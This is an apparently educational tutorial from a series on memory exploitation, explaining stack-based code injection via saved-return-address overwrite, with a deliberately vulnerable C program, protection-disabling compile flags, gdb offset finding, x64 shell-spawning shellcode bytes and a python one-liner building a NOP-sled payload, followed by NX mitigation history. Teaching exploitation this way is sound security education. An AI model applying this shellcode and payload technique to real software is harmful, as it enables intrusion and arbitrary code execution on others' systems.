< BACK TO TERMINAL

Owning Memory: Stack-Based Code Injection

Introduction

Now that we've seen how to overwrite adjacent memory, what lies beyond the buffer? Can we overwrite more critical data structures, such as the Saved Return Address? The answer is yes, and this opens the door to complete control over program execution.

Prerequisites

Where It Started

It began in 1988, with the Morris Worm. This malware was one of the first to leverage code injection by exploiting a buffer overflow in the fingerd service. The attacker placed their own code on the stack and overwrote the return address to point to that injected code.

References

The Concept

Saved EIP Overwrite

As seen in Owning Memory: Understanding the Stack Frame, upon execution of the ret instruction, the CPU redirects control flow to the target address stored in the saved EIP.

By controlling this value, we gain the ability to jump to any address in the program's memory space.

This is why setting the saved EIP to a value like AAAA causes a segmentation fault (SIGSEGV). The CPU attempts to jump to address 0x41414141, which is usually not a mapped or valid location in the program's memory.

Stack Code Injection

Method 1: Before the Return Address

If the payload (shellcode) is smaller than the available buffer space leading up to the saved EIP, we can pad the beginning of the buffer with NOP (No Operation) instructions. This creates a NOP sled, which significantly increases exploit reliability.

If we overwrite the saved EIP to point to any location within this NOP region, the CPU will "slide" through the NOPs until it reaches and executes the payload.

Method 2: After the Return Address

Sometimes, the buffer space leading up to the saved EIP is too small to hold our shellcode.

In this case, we can continue writing past the saved EIP and store the payload in the previous stack frame (the caller's stack frame), which resides at higher memory addresses. We then overwrite the saved EIP to jump to this location immediately following the return address.

Proof of Concept - Method 1: Before the Return Address

The Vulnerable Code

#include <stdio.h>

void func(void)
{
    char buffer[64];
    printf("Input: ");
    fgets(buffer, 128, stdin); // Vulnerability: reads 128 bytes into 64-byte buffer
}

int main(void)
{
    func();
    return 0;
}

Compilation

gcc demo.c -o demo.bin -no-pie -fno-stack-protector -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -Wl,-z,norelro -z execstack -Wno-stringop-overflow -Wno-stringop-overread -O0 -g

Creating a Payload

First, we need to find the space available between the buffer address and the return address.

gdb ./demo.bin  # Launch gdb
(gdb) break func  # Break at func
(gdb) run  # Run the program
(gdb) info registers # Print registers
[...]
rbp            0x7fffffffd9d0      0x7fffffffd9d0 // Stack frame base pointer
rsp            0x7fffffffd990      0x7fffffffd990 // Stack frame stack pointer
[...]
(gdb) print &buffer # Print the buffer address
$1 = (char (*)[64]) 0x7fffffffd990

We will not cover memory alignment in this article, but in our case, the buffer is exactly 64 bytes, so there is no extra padding in this stack frame.

Here, the stack pointer (rsp) is the same as the buffer address. Effectively, the buffer sits at the top of the stack frame.

You can also determine the approximate offset by fuzzing the input length. The character count at the point of the first SIGSEGV roughly aligns with the buffer size plus the saved frame pointer.

Below is a representation of the memory layout. We can calculate the addresses ourselves, determining that our payload must be exactly 80 bytes long.

Shellcode Selection

You can find many shellcode online, for example on shell-storm.org. In our case, we can use x64/shell/shell.hex:

\x48\x31\xf6\x56\x5a\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x6a\x3b\x58\x0f\x05

Payload Creation

The Push Problem

When the shellcode executes push instructions, the stack pointer moves towards lower memory addresses. If the stack pointer is positioned immediately adjacent to your payload, these operations will overwrite the executing code, corrupting the instruction stream and causing a SIGILL (illegal instruction).

The solution is to relocate the active stack frame to a safe memory region. This is achieved by subtracting a value from the stack pointer to reserve space in an unused area below the payload.

Payload

We can then start building our payload in the same format as in the previous diagram.

NOPs + Shellcode + Return Address (pointing to NOPs, little-endian)

python3 -c "import sys, struct; sys.stdout.buffer.write(b'\x90'*43 + b'\x48\x83\xec\x70' + b'\x48\x31\xf6\x56\x5a\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x6a\x3b\x58\x0f\x05' + struct.pack('<Q', 0x00007fffffffd990))" > payload.bin
(gdb) run < payload.bin
Starting program: /usr/bin/dash < payload.bin

Mitigations

In April 1997: To address code injection, Solar Designer (Alexander Peslyak) introduced the first implementation of a non-executable stack via a Linux patch.

"The introduction of the non-executable (NX) stack opened a new direction in the attack-defense arms race as the first countermeasure to address specifically code injection attacks in stack-based buffer overflows. Alexander Peslyak (Solar Designer) released a first implementation of an NX-like system, StackPatch, in April 1997."

In 2003: This defense was later hardened at the hardware level with the introduction of the NX (No-Execute) bit. This feature allows the operating system to explicitly mark specific memory pages—such as the stack and heap—as non-executable, preventing the CPU from interpreting data as code.

Sources:

Next steps

See Owning Memory: Ret2Libc

← Previous articleNext article →